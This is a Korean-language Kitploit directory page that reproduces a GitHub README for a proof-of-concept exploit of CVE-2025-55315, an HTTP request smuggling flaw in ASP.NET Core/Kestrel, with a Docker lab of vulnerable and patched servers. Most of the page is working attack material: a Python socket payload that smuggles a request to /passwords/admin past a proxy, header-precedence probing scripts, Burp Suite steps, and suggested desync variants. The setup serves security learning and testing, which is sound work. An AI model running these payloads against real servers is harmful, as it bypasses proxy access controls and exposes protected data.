Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55315 — CVE-2025-55315(.NET HTTP 요청 스머글링)에 대한 개념 증명 익스플로잇입니다. 잘못 파싱된 청크 인코딩이 취약한 ASP.NET Core/Kestrel 서버에서 공격자가 프록시와 로드 밸런서를 우회하여 요청을 밀반입할 수 있게 하는 방식을 보여줍니다. | Kitploit
도구/GitHubGitHub/martinfabianionut/cve-2025-55315
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

CVE-2025-55315(.NET HTTP 요청 스머글링)에 대한 개념 증명 익스플로잇입니다. 잘못 파싱된 청크 인코딩이 취약한 ASP.NET Core/Kestrel 서버에서 공격자가 프록시와 로드 밸런서를 우회하여 요청을 밀반입할 수 있게 하는 방식을 보여줍니다.

저장소 보기
1410개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55315

CVE-2025-55315 (.NET HTTP 요청 스머글링)에 대한 개념 증명 익스플로잇입니다. 취약한 ASP.NET Core/Kestrel 서버에서 청크 인코딩이 제대로 파싱되지 않아 공격자가 프록시와 로드 밸런서를 우회하여 요청을 밀반입할 수 있는 방법을 보여줍니다.

📊 프레젠테이션

대화형 Prezi 프레젠테이션 보기

Prezi 프레젠테이션

🎥 위 배지를 클릭하여 Prezi에서 전체 대화형 프레젠테이션을 확인하세요

프로젝트 구조

  • Api - 통합 ASP.NET Core API, 두 개의 Dockerfile 포함:
    • Dockerfile.vulnerable - .NET 10.0.100-rc.1 사용 (CVE-2025-55315에 취약)
    • Dockerfile.patched - .NET 10.0.100 사용 (패치 버전)
  • PythonProxy - CVE-2025-55315 익스플로잇 데모에 사용되는 취약한 프록시 (Transfer-Encoding보다 Content-Length 우선)
  • YarpProxy - 로드 밸런싱 테스트용 YARP 리버스 프록시 (익스플로잇의 일부 아님)

참고: 취약점은 .NET 런타임의 HTTP 파서(Kestrel)에 있으며, 애플리케이션 코드에 있는 것이 아닙니다. 두 버전 모두 동일한 소스 코드를 사용하지만 .NET 런타임 버전이 다릅니다.

빠른 시작

# 모든 서비스 빌드 및 실행
docker-compose up --build

# 서비스 접속
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (익스플로잇): http://localhost:5027
# YARP Proxy (로드 밸런싱): http://localhost:5028

자세한 Docker 사용법은 DOCKER.md를 참조하세요.

익스플로잇 데모

Python 프록시는 Content-Length를 Transfer-Encoding보다 우선시하여 CVE-2025-55315를 보여줍니다. 이를 통해 HTTP 요청 스머글링이 가능해집니다:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # 사용 가능한 모든 데이터 읽기
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== 전체 응답 ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== 밀반입된 요청 응답 확인 ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ /passwords/admin 요청 밀반입 성공!")
    else:
        print("✗ 익스플로잇 실패 또는 차단됨")

이 페이로드는 프록시의 보안 검사를 우회하여 /passwords/admin에 대한 두 번째 요청을 밀반입합니다. 프록시와 백엔드 서버가 요청을 다르게 파싱하는 차이점을 이용합니다.

시각적 요청 해석

다음은 프록시와 백엔드 서버가 동일한 페이로드를 다르게 해석하는 방식을 보여줍니다:

프록시 해석 (\n을 유효한 줄 종결자로 허용):

flowchart TD
    subgraph Proxy_Request_1 ["🔴 요청 1 - 프록시 관점"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>청크 헤더 (\n 허용)</i>"]
        PCB1["<b>xx</b><br/><i>청크 본문 - 2바이트</i>"]
        PCH2["<b>39</b><br/><i>청크 헤더</i>"]
        PCB2["<i>청크 본문 - 57바이트</i><br/>(밀반입된 요청 포함)"]
        PLK["<b>0</b><br/><i>마지막 청크</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ 프록시가 무시함"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(프록시는 이를 청크 본문의 일부로 봄)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

백엔드 해석 (\n 거부, \r\n 필요):

flowchart TD
    subgraph Backend_Request_1 ["🟢 요청 1 - 백엔드 관점"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (잘못된 - 헤더의 일부)<br/><b>xx</b> (여기서 헤더 종료)"]
        BCB1["<b>39</b><br/><i>청크 본문</i>"]
        BLK1["<b>0</b><br/><i>마지막 청크</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 요청 2 - 백엔드 관점"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>마지막 청크</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

주요 차이점:

구성 요소청크 크기 2;\n읽은 바이트 수결과
프록시✅ 유효한 청크 크기2바이트 (xx)2;\n을 완전한 청크 헤더로 처리, 2바이트 읽고 다음 청크로 진행
백엔드❌ 잘못된 줄 종결자여전히 2바이트 청크로 읽음청크 헤더가 xx\r\n까지 끝나지 않으므로 39가 청크 본문이 되고 0이 청크를 종료

자세한 설명:

  • 프록시: 2;\n을 유효한 청크 크기 선언(2바이트)으로 허용 → xx를 2바이트 청크 본문으로 읽음 → 다음 청크(39)로 이동
  • 백엔드: \n을 줄 종결자로 거부 → 청크 크기는 여전히 2이지만 헤더가 2;\nxx\r\n까지 확장 → 39를 청크 본문의 일부로 읽음 → 0\r\n이 청크를 종료
  • 결과: 밀반입된 GET /passwords/admin 요청이 백엔드가 청크 데이터로 처리하는 부분에 숨겨져 있지만, 청크 처리가 완료된 후 별도의 요청으로 파싱됨

밀반입된 GET /passwords/admin 요청은 프록시가 청크 본문 데이터로 생각하는 부분에 숨겨져 있지만, 백엔드는 이를 별도의 HTTP 요청으로 파싱합니다.

취약점 식별

익스플로잇 전에 각 구성 요소가 어떤 HTTP 헤더(Content-Length 또는 Transfer-Encoding)를 우선시하는지 식별해야 합니다. 다음은 단계별 가이드입니다:

1단계: 헤더 우선순위 테스트

Content-Length와 Transfer-Encoding: chunked 헤더를 모두 포함한 요청을 보내 각 구성 요소가 어떤 것을 따르는지 확인합니다:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

분석:

  • 서버가 "Fa"(2바이트)를 처리하면 → Content-Length 우선
  • 서버가 "Fabian"(전체 청크 본문)을 처리하면 → Transfer-Encoding 우선

2단계: 각 구성 요소 테스트

아키텍처의 모든 구성 요소를 테스트하여 차이점을 찾습니다:

Unsafe API 테스트 (포트 5001)

# Python 사용
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API 응답:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Safe API 테스트 (포트 5002)

# 포트를 5002로 변경하고 테스트
# Safe API는 충돌을 적절히 처리해야 함

Python 프록시 테스트 (포트 5027)

# 포트를 5027로 변경
# Python 프록시는 Content-Length를 우선시 (취약)

YARP 프록시 테스트 (포트 5028)

# 포트를 5028로 변경
# YARP가 헤더 충돌을 어떻게 처리하는지 테스트

3단계: 수동 테스트에 Burp Suite 사용

  1. 요청 가로채기: /passwords에 대한 일반 POST 요청 캡처
  2. 헤더 수정: 두 헤더를 수동으로 추가:
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. 본문 설정: 청크 인코딩 형식 사용:
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. 응답 비교: 다른 엔드포인트로 전송하여 각각이 처리하는 본문 부분 분석
  2. 차이점 식별: 프록시가 2바이트를 읽지만 백엔드가 전체 청크를 읽으면 역동기화 취약점 존재

4단계: 익스플로잇 제작

다음을 식별한 후:

  • 프록시: Content-Length 우선 (N바이트만 읽음)
  • 백엔드: Transfer-Encoding 우선 (청크 본문 읽음)

프록시는 보지 못하지만 백엔드가 처리하는 두 번째 요청을 밀반입할 수 있습니다.

5단계: 익스플로잇 확인

전체 익스플로잇 페이로드(위 "익스플로잇 데모" 섹션 참조)를 실행하고 다음을 확인:

  • 첫 번째 응답: 일반 POST 결과
  • 두 번째 응답: 관리자 엔드포인트 데이터 (밀반입된 요청 성공)

권장 도구

  • Burp Suite: 수동 요청 제작 및 헤더 조작
  • Python socket: 정확한 HTTP 포맷을 위한 저수준 제어
  • --data-binary 옵션의 curl: 빠른 명령줄 테스트
  • Wireshark: 각 구성 요소가 수신하는 내용을 패킷 수준에서 분석

대체 익스플로잇 변형

익스플로잇은 여러 방식으로 제작할 수 있습니다. 다양한 접근 방식으로 실험해 보세요:

명시적 Content-Length 사용

# Content-Length를 추가하여 역동기화를 명시적으로 만듦
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... 나머지 페이로드
)

Content-Length 없이도 작동하는 이유

  • 프록시: \n을 유효한 줄 종결자로 허용 → 2;\n을 청크 크기로 처리 → 2바이트(xx) 읽음
  • 백엔드: \n 거부 → 청크 헤더가 2;\nxx\r\n까지 확장 → 39가 청크 본문이 됨 → 0\r\n이 청크 종료
  • 결과: 밀반입된 요청이 청크 본문에 숨겨져 백엔드에 의해 별도의 요청으로 파싱됨

실험 아이디어

PythonProxy/proxy_server.py를 수정하여 다양한 역동기화 시나리오 시도:

  • CL.TE: 프록시는 Content-Length 사용, 백엔드는 Transfer-Encoding 사용
  • TE.CL: 프록시는 Transfer-Encoding 사용, 백엔드는 Content-Length 사용 (직접 API 제작 시도)
  • TE.TE: 둘 다 Transfer-Encoding을 사용하지만 (\n vs \r\n처럼) 다르게 파싱

다음과 함께 실험:

  • 다양한 청크 크기 및 형식
  • 연속적인 여러 밀반입 요청
  • 다양한 HTTP 메서드 (GET, POST, PUT, DELETE) - API에 추가 가능
  • 공백 및 특수 문자
도구 다운로드